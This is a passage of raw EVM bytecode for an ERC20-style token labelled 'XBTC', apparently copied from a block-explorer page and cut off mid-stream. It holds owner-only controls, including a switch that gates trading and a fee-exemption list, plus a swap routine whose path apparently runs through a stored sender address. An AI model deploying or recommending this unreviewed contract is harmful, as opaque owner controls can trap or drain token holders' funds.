ffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612b70565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e559190612c4c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190612c4c565b6040518363ffffffff1660e01b8152600401610efd929190612c79565b602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e9190612c4c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110d2578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe49190612c4c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106f9190612c4c565b6040518363ffffffff1660e01b815260040161108c929190612c79565b6020604051808303816000875af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612c4c565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123b6114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90612b70565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113146114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139890612b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890612d14565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90612da6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ad90612e38565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169491906128d5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990612eca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177990612f5c565b60405180910390fd5b600082116117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc90612fee565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118695750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561196557600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061190f5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561196457601060179054906101000a900460ff16611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a9061305a565b60405180910390fd5b5b5b601060149054906101000a900460ff161561198c57611985848484611dd4565b9050611d0b565b6000611997306107cb565b9050601060149054906101000a900460ff16158015611a005750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a185750601060159054906101000a900460ff165b15611a8357601060169054906101000a900460ff1615611a3857600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a8281611fa7565b5b611b0c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c0657611c01868686612025565b611c08565b835b9050611c5c81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cfc91906128d5565b60405180910390a36001925050505b9392505050565b6000838311158290611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d519190612790565b60405180910390fd5b5060008385611d69919061307a565b9050809150509392505050565b6000808284611d8591906130ae565b905083811015611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190613150565b60405180910390fd5b8091505092915050565b6000611e5f826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f9491906128d5565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611fcb8161224d565b6000479050600081111561200657612005600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261253a565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120ad576120a660646120986009548661258590919063ffffffff16565b61260090919063ffffffff16565b905061212b565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561212a576121276064612119600a548661258590919063ffffffff16565b61260090919063ffffffff16565b90505b5b60008111156122305761218681600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161222791906128d5565b60405180910390a35b612243818461264a90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561226a57612269613170565b5b6040519080825280602002602001820160405280156122985781602001602082028036833780820191505090505b50905030816000815181106122b0576122af612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061232157612320612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123ec9190612c4c565b81600281518110612400576123ff612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114d6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cb9594939291906132a2565b600060405180830381600087803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161252e9291906132fc565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612580573d6000803e3d6000fd5b505050565b60008083141561259857600090506125fa565b600082846125a6919061332c565b90508284826125b591906133b5565b146125f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ec90613458565b60405180910390fd5b809150505b92915050565b600061264283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612694565b905092915050565b600061268c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d12565b905092915050565b600080831182906126db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d29190612790565b60405180910390fd5b50600083856126ea91906133b5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612731578082015181840152602081019050612716565b83811115612740576000848401525b50505050565b6000601f19601f8301169050919050565b6000612762826126f7565b61276c8185612702565b935061277c818560208601612713565b61278581612746565b840191505092915050565b600060208201905081810360008301526127aa8184612757565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e7826127bc565b9050919050565b6127f7816127dc565b811461280257600080fd5b50565b600081359050612814816127ee565b92915050565b6000819050919050565b61282d8161281a565b811461283857600080fd5b50565b60008135905061284a81612824565b92915050565b60008060408385031215612867576128666127b2565b5b600061287585828601612805565b92505060206128868582860161283b565b9150509250929050565b60008115159050919050565b6128a581612890565b82525050565b60006020820190506128c0600083018461289c565b92915050565b6128cf8161281a565b82525050565b60006020820190506128ea60008301846128c6565b92915050565b600080600060608486031215612909576129086127b2565b5b600061291786828701612805565b935050602061292886828701612805565b92505060406129398682870161283b565b9150509250925092565b600060ff82169050919050565b61295981612943565b82525050565b60006020820190506129746000830184612950565b92915050565b6000602082840312156129905761298f6127b2565b5b600061299e84828501612805565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129cc576129cb6129a7565b5b8235905067ffffffffffffffff8111156129e9576129e86129ac565b5b602083019150836020820283011115612a0557612a046129b1565b5b9250929050565b60008060208385031215612a2357612a226127b2565b5b600083013567ffffffffffffffff811115612a4157612a406127b7565b5b612a4d858286016129b6565b92509250509250929050565b612a62816127dc565b82525050565b6000602082019050612a7d6000830184612a59565b92915050565b60008060408385031215612a9a57612a996127b2565b5b6000612aa885828601612805565b9250506020612ab985828601612805565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0a57607f821691505b60208210811415612b1e57612b1d612ac3565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b5a602083612702565b9150612b6582612b24565b602082019050919050565b60006020820190508181036000830152612b8981612b4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612bf98261281a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c2c57612c2b612bbf565b5b600182019050919050565b600081519050612c46816127ee565b92915050565b600060208284031215612c6257612c616127b2565b5b6000612c7084828501612c37565b91505092915050565b6000604082019050612c8e6000830185612a59565b612c9b6020830184612a59565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612cfe602683612702565b9150612d0982612ca2565b604082019050919050565b60006020820190508181036000830152612d2d81612cf1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d90602483612702565b9150612d9b82612d34565b604082019050919050565b60006020820190508181036000830152612dbf81612d83565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e22602283612702565b9150612e2d82612dc6565b604082019050919050565b60006020820190508181036000830152612e5181612e15565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612eb4602583612702565b9150612ebf82612e58565b604082019050919050565b60006020820190508181036000830152612ee381612ea7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f46602383612702565b9150612f5182612eea565b604082019050919050565b60006020820190508181036000830152612f7581612f39565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fd8602983612702565b9150612fe382612f7c565b604082019050919050565b6000602082019050818103600083015261300781612fcb565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b6000613044600983612702565b915061304f8261300e565b602082019050919050565b6000602082019050818103600083015261307381613037565b9050919050565b60006130858261281a565b91506130908361281a565b9250828210156130a3576130a2612bbf565b5b828203905092915050565b60006130b98261281a565b91506130c48361281a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f9576130f8612bbf565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061313a601b83612702565b915061314582613104565b602082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b60006131ce6131c96131c48461319f565b6131a9565b61281a565b9050919050565b6131de816131b3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613219816127dc565b82525050565b600061322b8383613210565b60208301905092915050565b6000602082019050919050565b600061324f826131e4565b61325981856131ef565b935061326483613200565b8060005b8381101561329557815161327c888261321f565b975061328783613237565b925050600181019050613268565b5085935050505092915050565b600060a0820190506132b760008301886128c6565b6132c460208301876131d5565b81810360408301526132d68186613244565b90506132e56060830185612a59565b6132f260808301846128c6565b9695505050505050565b600060408201905061331160008301856128c6565b81810360208301526133238184613244565b90509392505050565b60006133378261281a565b91506133428361281a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561337b5761337a612bbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133c08261281a565b91506133cb8361281a565b9250826133db576133da613386565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613442602183612702565b915061344d826133e6565b604082019050919050565b6000602082019050818103600083015261347181613435565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c9365fa4c625ecc5dfa792cdb3b9b67b2e1fbfb6177860e1a2cae3a0f563720364736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000001406f400000000000000000000000000000000000000000000000000000000000000004584254430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045842544300000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612790565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612850565b6105d7565b6040516101a491906128ab565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf91906128d5565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906128f0565b6105ff565b60405161020c91906128ab565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b604051610237919061295f565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612850565b6106f0565b60405161027491906128ab565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f919061297a565b6107a3565b6040516102b191906128ab565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc91906128d5565b60405180910390f35b3480156102f157600080fd5b5061030c6004803603810190610307919061297a565b6107cb565b60405161031991906128d5565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a0c565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612a68565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612790565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f191906128d5565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612850565b610c18565b60405161042e91906128ab565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612850565b610ce5565b60405161046b91906128ab565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612a68565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612a83565b6111ac565b6040516104ea91906128d5565b60405180910390f35b3480156104ff57600080fd5b5061051a6004803603810190610515919061297a565b611233565b005b34801561052857600080fd5b50610543600480360381019061053e919061297a565b61130c565b005b60606001805461055490612af2565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612af2565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e46114ce565b84846114d6565b6001905092915050565b6000600b54905090565b600061060c8484846116a1565b506106ce846106196114ce565b6106c98560405180606001604052806028815260200161347960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b6114d6565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd6114ce565b84610794856006600061070e6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b6114d6565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c6114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b70565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612b90565b5b90506020020160208101906108e5919061297a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612bee565b9150506108ac565b505050565b6109566114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612b70565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a316114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612af2565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612af2565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c256114ce565b84610cd6856040518060600160405280602581526020016134a16025913960066000610c4f6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b6114d6565b6001905092915050565b6000610cf9610cf26114ce565b84846116a1565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d306114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612b70565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e559190612c4c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190612c4c565b6040518363ffffffff1660e01b8152600401610efd929190612c79565b602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e9190612c4c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110d2578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe49190612c4c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106f9190612c4c565b6040518363ffffffff1660e01b815260040161108c929190612c79565b6020604051808303816000875af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612c4c565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123b6114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90612b70565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113146114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139890612b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890612d14565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90612da6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ad90612e38565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169491906128d5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990612eca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177990612f5c565b60405180910390fd5b600082116117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc90612fee565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118695750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff